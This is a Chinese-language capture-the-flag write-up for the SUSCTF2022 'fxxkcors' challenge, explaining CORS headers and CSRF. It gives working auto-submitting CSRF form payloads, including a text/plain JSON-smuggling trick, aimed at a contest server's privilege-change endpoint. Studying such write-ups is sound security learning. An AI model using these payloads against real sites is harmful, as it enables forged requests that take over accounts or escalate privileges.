fxxkcors"/>
[SUSCTF2022]fxxkcors
1NDEX
- 0x00 前言
- 0x01 brain.md
- csrf浅谈
- 这里有个小坑
- 0x02 rethink
0x00 前言
由于题目名字的关系一开始只想着是cors漏洞了
这个一开始雀氏没接触过
所以就一直在研究 当然最后证实只是一个csrf…
看看大佬的文章扫扫盲
CORS跨域漏洞的学习
(freebuff这篇讲的比较通透
cors安全完全指南
拾人牙慧一下
重点就是服务器返回响应包的头
Access-Control-Allow-Origin : 允许访问的源有哪些 对应请求包中的origin头
Access-Control-Allow-Credentials :是否允许带上cookie访问资源
题目附件一个js
一开始以为report那的三个url真是用来报告bug的… 没想到就是配着js看的
很像portswigger的oauth靶场
模拟admin登录并点击url
const opt = {name: "fxxkcors",router: "fxxkcors",site: process.env.FXXK_SITE ?? "",}const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))const visit = async (browser, url) =>{let site = process.env.FXXK_SITE ?? ""console.log(`[+]${opt.name}: ${url}`)let renderOpt = {...opt}try {const loginpage = await browser.newPage()await loginpage.goto(site)await loginpage.type("input[name=username]", "admin")await loginpage.type("input[name=password]", process.env.FXXK_ADMIN_PASS ?? "")await Promise.all([loginpage.click('button[name=submit]'),loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})])await loginpage.goto("about:blank")await loginpage.close()const page = await browser.newPage()await page.goto(url, {waitUntil: 'networkidle0', timeout: 2000})await delay(2000) /// waiting 2 second.console.log(await page.evaluate(() => document.documentElement.outerHTML))}catch (e) {console.log(e)renderOpt.message = "error occurred"return renderOpt}renderOpt.message = "admin will view your report soon"return renderOpt
}module.exports = {opt:opt,visit:visit
}
在题目多个地方截包都没看到Access-Control-Allow-*的返回头…
就意识到不对劲
不过csrf考察的并不是很多
0x01 brain.md
一个简易的loginpage
任意用户都能直接注册并登录(除了admin
随便搞个用户
只有normal admin能看到flag
进主页之后看到这里还是比较显眼的
注意… 定语从句
u want the person to be an normal admin
当然我们肯定自己没权限
拦一下看到json
另一个report界面
显然是让我们贴url的
补充一下一篇写的很好的csrf
csrf浅谈
讓我們來談談 CSRF
我们的目的就是要admin账户帮我们向changeapi.php post我们自己的账号
那么刚好就能用到跨站域请求伪造
当然再回头看一下我们post的包,发现这像敏感操作并没有携带token校验
这也证实了这是个可利用点
当我们需要发送post请求时,就可以利用表单的方式
iframe直接内联框架嵌入 并且不做展示
再通过js自动提交 不知不觉中触发表单
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='' target="csrf-frame" id="csrf-form"><input type='hidden' name='id' value='3'><input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
form中的target属性指定了在不做显示的iframe中打开action的url,所以表面上不会产生任何变化
開一個看不見的 iframe,讓 form submit 之後的結果出現在 iframe 裡面,而且這個 form 還可以自動 submit,完全不需要任何操作。
关于iframe和form的联用
若用json传输
<form action="" method="post" enctype="text/plain">
<input name='{"id":3, "ignore_me":"' value='test"}' type='hidden'>
<input type="submit"value="delete!"/>
</form>
這樣子會產生如下的 request body:
{ “id”: 3,
“ignore_me”: “=test”
}
第二个键值对ignore_me是为了规避 = 号的干扰
但這邊值得注意的一點是,form能夠帶的 content type
只有三種:application/x-www-form-urlencoded, multipart/form-data 跟
text/plain。在上面的攻擊中我們用的是最後一種,text/plain,如果你在你的後端 Server 有檢查這個 content
type 的話,是可以避免掉上面這個攻擊的。
回到题目中
有了上述的铺垫,我们就可以直接在VPS构造恶意页面
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://124.71.205.122:10002/changeapi.php' target="csrf-frame" id="csrf-form" enctype="text/plain"><input type='hidden' name='{"username":"kidult", "abc":"' value='123"}'><input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
这里有个小坑
当使用iframe跨域提交表单时会触发浏览器安全策略造成cookie丢失
iframe 跨域访问session/cookie丢失问题解决方法
iframe 跨域传递 cookie
比赛环境下 我们要去掉iframe
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://124.71.205.122:10002/changeapi.php' id="csrf-form" enctype="text/plain"><input type='hidden' name='{"username":"kidult", "abc":"' value='123"}'><input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
0x02 rethink
自己挖的坑自己填
更多推荐
[SUSCTF2022]fxxkcors
发布评论